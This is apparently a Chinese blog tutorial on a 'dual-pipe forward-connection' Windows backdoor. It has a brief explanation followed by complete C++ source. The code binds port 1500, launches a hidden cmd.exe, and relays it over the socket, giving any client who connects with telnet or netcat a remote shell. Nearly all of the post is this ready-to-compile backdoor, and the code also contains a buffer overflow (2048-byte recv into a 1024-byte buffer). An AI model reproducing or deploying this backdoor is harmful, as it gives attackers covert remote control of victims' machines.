安全之路 —— 双管道正向连接型后门解析

##简述

后门程序有两个重要的过程,分别是socket与cmd通信的过程和cmd结果回传给socket的过程。而双管道正向连接型后门是后门中最古老的一种,采用两个匿名管道,分别负责上述两个重要过程。其中正向连接的意思是后门充当Server端,然后用户使用**telnet或netcat(nc)**充当客户端连接工具,主动连接后门,这种连接方式具有被防火墙拦截的危险,所以一般不用于现代后门,但却是后门编程学习的必经之路。

  • 双管道图例
    双管道连接图例

##C++代码样例

/*
*@Author: PeterZ
*@Time: 2018/2/19
*@Function: 双管道正向连接后门(Default_Port: 1500)
*/

#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <Windows.h>
#include <winsock.h>
#pragma comment(lib, "ws2_32.lib")

using namespace std;

#define MAX_CONNECT_NUM 255 //最大连接数

SOCKET g_sListen;
SOCKET g_sClient[MAX_CONNECT_NUM];
HANDLE g_hReadPipe, g_hWritePipe, g_hWriteFile, g_hReadFile;

DWORD WINAPI ThreadInputPipe(LPVOID lpParam) //从socket到cmd之间的数据管道
{
	SOCKET sTemp = (SOCKET)lpParam;
	SECURITY_ATTRIBUTES sa;
	DWORD dwByteToWrite, dwByteWritten;
	char recv_data[1024] = "\0";
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.bInheritHandle = TRUE;
	sa.lpSecurityDescriptor = NULL;
	CreatePipe(&g_hReadPipe, &g_hWriteFile, &sa, 0);
	Sleep(300);
	while (true)
	{
		dwByteToWrite = recv(sTemp, recv_data, 2048, 0); //建立管道
		if (dwByteToWrite != SOCKET_ERROR)
		{
			WriteFile(g_hWriteFile, recv_data, dwByteToWrite, &dwByteWritten, NULL); //向管道中写数据
			Sleep(100);
		}
	}
	return 0;
}

DWORD WINAPI ThreadOutputPipe(LPVOID lpParam)   //从cmd到socket之间的数据管道
{
	SOCKET sTemp = (SOCKET)lpParam;
	SECURITY_ATTRIBUTES sa;
	char send_buf[2048] = "\0";
	DWORD len = 0, dwTotalAvail = 0;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.bInheritHandle = TRUE;
	sa.lpSecurityDescriptor = NULL;
	CreatePipe(&g_hReadFile, &g_hWritePipe, &sa, 0);  //建立管道
	Sleep(300);
	while (true)
	{
		while (PeekNamedPipe(g_hReadFile, NULL, 0, NULL, &dwTotalAvail, NULL))
		{
			ReadFile(g_hReadFile, send_buf, 2048, &len, NULL); //从管道中读数据
			Sleep(100);
			send(sTemp, send_buf, len, 0);
		}
	}
	return 0;
}

DWORD WINAPI ThreadConnWork(LPVOID lpParam)  //多用户连接处理线程
{
	SOCKET sTemp = (SOCKET)lpParam;
	HANDLE hThread[2];
	DWORD dwThreadId1, dwThreadId2;
	PROCESS_INFORMATION pi;
	STARTUPINFO si;
	hThread[0] = CreateThread(NULL, 0, ThreadInputPipe, LPVOID(sTemp), 0, &dwThreadId1); //管道1线程建立
	hThread[1] = CreateThread(NULL, 0, ThreadOutputPipe, LPVOID(sTemp), 0, &dwThreadId2); //管道2线程建立
	Sleep(200);
	GetStartupInfo(&si);
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	si.hStdInput = g_hReadPipe;
	si.hStdOutput = g_hWritePipe;
	si.hStdError = g_hWritePipe;
	si.wShowWindow = SW_HIDE;
	char cmdline[255] = "\0";
	GetSystemDirectory(cmdline, sizeof(cmdline));
	strcat_s(cmdline, "\\cmd.exe");
	if (!CreateProcess(cmdline, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) return 0;
	WaitForMultipleObjects(2, hThread, TRUE, INFINITE);
	return 0;
}

int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd) //主函数
{
	const char *wMessage = "===================> Hello, Welcome to Server <====================\n===================> Prepare For the CMD: <====================\n";
	unsigned int conn_count = 0;
	HANDLE connThread[255];
	DWORD dwThreadConnId[255];
	BYTE btSocMajorVer = 2, btSocMinorVer = 2;
	WSADATA wsaData;
	if (WSAStartup(MAKEWORD(btSocMajorVer, btSocMinorVer), &wsaData)) return 0;
	g_sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (g_sListen == INVALID_SOCKET) return 0;
	sockaddr_in sin;
	sin.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
	sin.sin_family = AF_INET;
	sin.sin_port = htons(1500);
	if (bind(g_sListen, (LPSOCKADDR)&sin, sizeof(SOCKADDR)) == SOCKET_ERROR) return 0;
	if (listen(g_sListen, 5) == SOCKET_ERROR) return 0;
	sockaddr_in csin;
	int len = sizeof(SOCKADDR);
	for (conn_count = 0; conn_count < MAX_CONNECT_NUM; conn_count++) //多用户连接线程处理
	{
		g_sClient[conn_count] = accept(g_sListen, (LPSOCKADDR)&csin, &len);
		connThread[conn_count] = CreateThread(NULL, 0, ThreadConnWork, LPVOID(g_sClient[conn_count]), 0, &dwThreadConnId[conn_count]);
		send(g_sClient[conn_count], wMessage, strlen(wMessage), 0);
	}
	WaitForMultipleObjects(conn_count, connThread, true, INFINITE);
	for (unsigned int i = 0; i < conn_count; i++)
	{
		closesocket(g_sClient[i]);
	}
	closesocket(g_sListen);
	CloseHandle(g_hReadFile);
	CloseHandle(g_hReadPipe);
	CloseHandle(g_hWriteFile);
	CloseHandle(g_hWritePipe);
	WSACleanup();
	return 0;
}
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值